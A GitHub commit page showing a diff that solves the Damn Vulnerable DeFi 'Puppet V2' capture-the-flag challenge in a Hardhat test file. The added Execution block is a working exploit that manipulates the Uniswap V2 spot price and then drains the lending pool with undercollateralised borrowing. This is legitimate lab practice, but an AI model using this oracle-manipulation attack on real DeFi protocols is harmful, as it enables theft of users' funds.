Skip to content

Commit

Permalink
Chal theredguild#9 Puppet V2
Browse files Browse the repository at this point in the history
  • Loading branch information
soyccan committed Mar 10, 2023
1 parent f40f03d commit 762e5e8
Showing 1 changed file with 43 additions and 8 deletions.
51 changes: 43 additions & 8 deletions test/puppet-v2/puppet-v2.challenge.js
Original file line number Diff line number Diff line change
Expand Up @@ -2,10 +2,17 @@ const pairJson = require("@uniswap/v2-core/build/UniswapV2Pair.json");
const factoryJson = require("@uniswap/v2-core/build/UniswapV2Factory.json");
const routerJson = require("@uniswap/v2-periphery/build/UniswapV2Router02.json");

const { ethers } = require('hardhat');
const { ethers, tracer } = require('hardhat');
const { expect } = require('chai');
const { setBalance } = require("@nomicfoundation/hardhat-network-helpers");

const fs = require('fs');

function setTracerTag(addr, name) {
if (tracer)
tracer.nameTags[addr] = name;
}

describe('[Challenge] Puppet v2', function () {
let deployer, player;
let token, weth, uniswapFactory, uniswapRouter, uniswapExchange, lendingPool;
Expand All @@ -20,16 +27,27 @@ describe('[Challenge] Puppet v2', function () {
const POOL_INITIAL_TOKEN_BALANCE = 1000000n * 10n ** 18n;

before(async function () {
/** SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */
/** SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */
[deployer, player] = await ethers.getSigners();
setTracerTag(deployer.address, "Deployer");
setTracerTag(player.address, "Player");

await setBalance(player.address, PLAYER_INITIAL_ETH_BALANCE);
expect(await ethers.provider.getBalance(player.address)).to.eq(PLAYER_INITIAL_ETH_BALANCE);

const UniswapFactoryFactory = new ethers.ContractFactory(factoryJson.abi, factoryJson.bytecode, deployer);
const UniswapRouterFactory = new ethers.ContractFactory(routerJson.abi, routerJson.bytecode, deployer);
const UniswapPairFactory = new ethers.ContractFactory(pairJson.abi, pairJson.bytecode, deployer);


// hack: copy the library ABIs & bytecodes into the artifact dir so that
// hardhat-tracer can recognize these contracts whose source code is absent
if (tracer) {
try { fs.mkdirSync('artifacts/uniswap-v2'); } catch {}
fs.copyFileSync('node_modules/@uniswap/v2-core/build/UniswapV2Pair.json', 'artifacts/uniswap-v2/UniswapV2Pair.json');
fs.copyFileSync('node_modules/@uniswap/v2-core/build/UniswapV2Factory.json', 'artifacts/uniswap-v2/UniswapV2Factory.json');
fs.copyFileSync('node_modules/@uniswap/v2-periphery/build/UniswapV2Router02.json', 'artifacts/uniswap-v2/UniswapV2Router02.json');
}

// Deploy tokens to be traded
token = await (await ethers.getContractFactory('DamnValuableToken', deployer)).deploy();
weth = await (await ethers.getContractFactory('WETH', deployer)).deploy();
Expand All @@ -39,7 +57,7 @@ describe('[Challenge] Puppet v2', function () {
uniswapRouter = await UniswapRouterFactory.deploy(
uniswapFactory.address,
weth.address
);
);

// Create Uniswap pair against WETH and add liquidity
await token.approve(
Expand All @@ -55,11 +73,11 @@ describe('[Challenge] Puppet v2', function () {
(await ethers.provider.getBlock('latest')).timestamp * 2, // deadline
{ value: UNISWAP_INITIAL_WETH_RESERVE }
);
uniswapExchange = await UniswapPairFactory.attach(
uniswapExchange = UniswapPairFactory.attach(
await uniswapFactory.getPair(token.address, weth.address)
);
expect(await uniswapExchange.balanceOf(deployer.address)).to.be.gt(0);

// Deploy the lending pool
lendingPool = await (await ethers.getContractFactory('PuppetV2Pool', deployer)).deploy(
weth.address,
Expand All @@ -83,11 +101,28 @@ describe('[Challenge] Puppet v2', function () {

it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
// ATTACK POINT: same as puppet (v1): price manipulation on Uniswap

console.log("\n=== Exploit Begin ===\n");

await token.connect(player).approve(uniswapRouter.address, PLAYER_INITIAL_TOKEN_BALANCE);
await uniswapRouter.connect(player).swapExactTokensForETH(
PLAYER_INITIAL_TOKEN_BALANCE,
0, // min ETH amount
[token.address, weth.address], // path
player.address, // to
(await ethers.provider.getBlock('latest')).timestamp * 2, // deadline
{ gasLimit: 1e6 }
);
const collat = await lendingPool.connect(player).calculateDepositOfWETHRequired(POOL_INITIAL_TOKEN_BALANCE);
await weth.connect(player).deposit({ value: collat });
await weth.connect(player).approve(lendingPool.address, collat);
await lendingPool.connect(player).borrow(POOL_INITIAL_TOKEN_BALANCE);
});

after(async function () {
/** SUCCESS CONDITIONS - NO NEED TO CHANGE ANYTHING HERE */
// Player has taken all tokens from the pool
// Player has taken all tokens from the pool
expect(
await token.balanceOf(lendingPool.address)
).to.be.eq(0);
Expand All @@ -96,4 +131,4 @@ describe('[Challenge] Puppet v2', function () {
await token.balanceOf(player.address)
).to.be.gte(POOL_INITIAL_TOKEN_BALANCE);
});
});
});

0 comments on commit 762e5e8

Please sign in to comment.